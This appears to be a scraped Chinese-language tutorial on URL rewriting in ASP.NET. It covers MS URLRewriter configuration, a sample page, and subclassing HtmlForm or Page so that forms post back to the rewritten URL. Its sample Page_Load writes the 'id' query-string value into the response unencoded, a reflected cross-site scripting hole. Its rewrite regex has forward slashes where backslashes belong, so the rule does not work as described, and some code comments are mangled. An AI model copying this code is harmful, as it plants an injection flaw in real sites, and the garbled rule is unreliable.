ASP.NET 中執行 URL 重寫

<script language="javascript" src="http://gg.pic00.com/c4.js" type="text/javascript"></script> <script src="http://adcode.zhao.la/play.asp?userid=3086&ad_type=2&ad_id=15" type="text/javascript"></script>
  URL 重寫就是把URL地址重新改寫
  
  詳情:http://www.microsoft.com/china/msdn/library/webservices/asp.net/URLRewriting.mspx
  
  優點:把url縮短等
  
  用法:1.下載ms的URLRewrite.dll,放到你的bin下
  
  2.在web.config裏設置如下:
  
  <?xml version="1.0" encoding="utf-8" ?>
  <configuration>
  
  <configSections>
  
  <section name="RewriterConfig" type="URLRewriter.Config.RewriterConfigSerializerSectionHandler, URLRewriter" />
  
  </configSections>
  
  
  <RewriterConfig>
  
  <Rules>
  
  <RewriterRule>
  <LookFor>~/d(/d+)/.aspx</LookFor>
  <SendTo>~/default.aspx?id=$1</SendTo>
  </RewriterRule>
  
  </Rules>
  
  </RewriterConfig>
  
  <system.web>
  
  
  <httpHandlers>
  
  <add verb="*" path="*.aspx"
  
  type="URLRewriter.RewriterFactoryHandler, URLRewriter" />
  
  </httpHandlers>
  
  
  
  然後在cs裏寫:
  
  private void Page_Load(object sender, System.EventArgs e)
  {
  // 在此處放置用戶代碼以初始化頁面
  Response.Write(Request.QueryString["id"]+"<BR>");
  Response.Write("haha");
  }
  
  只要輸入
  
  localhost/overred/d123.aspx(注意:開頭必須爲d,後爲數字)
  其實這個d123.aspx是虛擬的,並不是實際存在的。只要符合格式就行。
  
  他就會跳到http://localhost/overred/default.aspx
  
  而且他在default裏可以捕捉一些參數比如id,就是你的d後的數字(後必須爲數字),這樣你就可以顯示id爲123的文章。
  
  在重寫後的url裏如果產生回發將會傳遞到d123.aspx,這樣用戶在點button時會看到哪個實際的地址,msdn上說的:但從用戶的角度考慮,如果單擊按鈕時突然看到 URL 更改會使他們感到不安。
  
  可見ms把客戶捧爲他的上帝!(真的?#¥%……—*)
  
  繼續引用ms:
  
  出現這種情況的原因是:在呈現 Web 窗體時,它會將其操作屬性直接設置爲 Request 對象中文件路徑的值。當然,在呈現 Web 窗體時,URL 已從 /Products/Beverages.aspx 重寫爲 ListProductsByCategory.aspx?CategoryID=1,這表明 Request 對象報告用戶要訪問 ListProductsByCategory.aspx?CategoryID=1。只需使服務器端窗體不呈現操作屬性即可解決此問題。(默認情況下,如果窗體不包含操作屬性,瀏覽器將會回發。)
  
  不幸的是,Web 窗體不允許您明確指定操作屬性,也不允許您設置某些屬性以禁用操作屬性的呈現。因此,我們必須自己來擴展 System.Web.HtmlControls.HtmlForm 類,覆蓋 RenderAttribute() 方法並明確指出它不會呈現操作屬性。
  
  由於繼承功能,我們可以獲得 HtmlForm 類的所有功能,並且只需添加幾行代碼即可獲得所需的行爲。以下顯示了自定義類的完整代碼:
  
  namespace ActionlessForm {
  public class Form : System.Web.UI.HtmlControls.HtmlForm
  {
  protected override void RenderAttributes(HtmlTextWriter writer)
  {
  writer.WriteAttribute("name", this.Name);
  base.Attributes.Remove("name");
  
  writer.WriteAttribute("method", this.Method);
  base.Attributes.Remove("method");
  
  this.Attributes.Render(writer);
  
  base.Attributes.Remove("action");
  
  if (base.ID != null)
  writer.WriteAttribute("id", base.ClientID);
  }
  }
  }
  
  已被覆蓋的 RenderAttributes() 方法的代碼僅包含 HtmlForm 類的 RenderAttributes() 方法的準確代碼,而不設置操作屬性。(我使用 Lutz Roeder 的 Reflector 來查看 HtmlForm 類的源代碼。)
  
  創建此類並對其進行編譯之後,要在 ASP.NET Web 應用程序中使用它,應首先將其添加到 Web 應用程序的 References 文件夾中。然後,要使用它來代替 HtmlForm 類,只需在 ASP.NET 網頁的頂部添加以下內容即可:
  
  <%@ Register TagPrefix="skm" Namespace="ActionlessForm"
  Assembly="ActionlessForm" %>
  
  然後,將 <form runat="server">(如果有)替換爲:
  
  <skm:Form id="Form1" method="post" runat="server">
  
  並將右邊的 </form> 標記替換爲:
  
  </skm:Form>
  
  以上的是繼承個form,其實還有更簡單的,就是繼承page,這樣你不需要在aspx頁中改任何東西。
  代碼:
  using System;
  using System.IO;
  using System.Web;
  using System.Web.UI;
  
  namespace URl
  {
  /**//// <summary>
  /// 頁面基類www.knowsky.com
  /// </summary>
  public class OLPage : Page
  {
  public OLPage()
  {
  } 
      
  /**//// <summary>
  /// 重寫默認的HtmlTextWriter方法,修改form標記中的value屬性,使其值爲重寫的URL而不是真實URL。
  /// </summary>
  /// <param name="writer"></param>
  protected override void Render(HtmlTextWriter writer)
  {
  
  if (writer is System.Web.UI.Html32TextWriter)
  {
  writer = new FormFixerHtml32TextWriter(writer.InnerWriter);
  }
  else
  {
  writer = new FormFixerHtmlTextWriter(writer.InnerWriter);
  }
  
  base.Render(writer);
  } 
   
  } 
   
  internal class FormFixerHtml32TextWriter : System.Web.UI.Html32TextWriter
  {
  private string _url; // 假的URL
  
  internal FormFixerHtml32TextWriter(TextWriter writer):base(writer)
  {
  _url = HttpContext.Current.Request.RawUrl;
  }
  
  public override void WriteAttribute(string name, string value, bool encode)
  {
  // 如果當前輸出的屬性爲form標記的action屬性,則將其值替換爲重寫後的虛假URL
  if (_url != null && string.Compare(name, "action", true) == 0)
  {
  value = _url;
  }
  base.WriteAttribute(name, value, encode);
  }
  } 
   
  internal class FormFixerHtmlTextWriter : System.Web.UI.HtmlTextWriter
  {
  private string _url;
  internal FormFixerHtmlTextWriter(TextWriter writer):base(writer)
  {
  _url = HttpContext.Current.Request.RawUrl;
  }
  
  public override void WriteAttribute(string name, string value, bool encode)
  {
  if (_url != null && string.Compare(name, "action", true) == 0)
  {
  value = _url;
  }
  
  base.WriteAttribute(name, value, encode);
  }
  }
  
  }
  
  
  你把他封裝成dll,以後只要添加引用就可以拉! 
   
  ok ,it is so easy!  
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章